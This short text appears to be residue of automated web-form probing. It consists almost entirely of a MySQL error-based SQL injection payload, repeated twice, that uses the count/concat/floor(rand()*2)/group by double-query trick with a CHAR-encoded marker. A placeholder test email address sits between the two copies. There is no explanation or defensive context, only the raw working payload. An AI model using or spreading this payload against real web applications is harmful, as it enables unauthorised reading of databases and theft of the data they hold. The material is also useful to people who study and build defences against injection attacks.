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(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(108),CHAR(107),CHAR(116),CHAR(109),CHAR(118),CHAR(122),CHAR(111),CHAR(110)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

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testing@example.com

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(select 1 and row(1,1)>(select count(*),concat(concat(CHAR(52),CHAR(67),CHAR(117),CHAR(108),CHAR(107),CHAR(116),CHAR(109),CHAR(118),CHAR(122),CHAR(111),CHAR(110)),floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))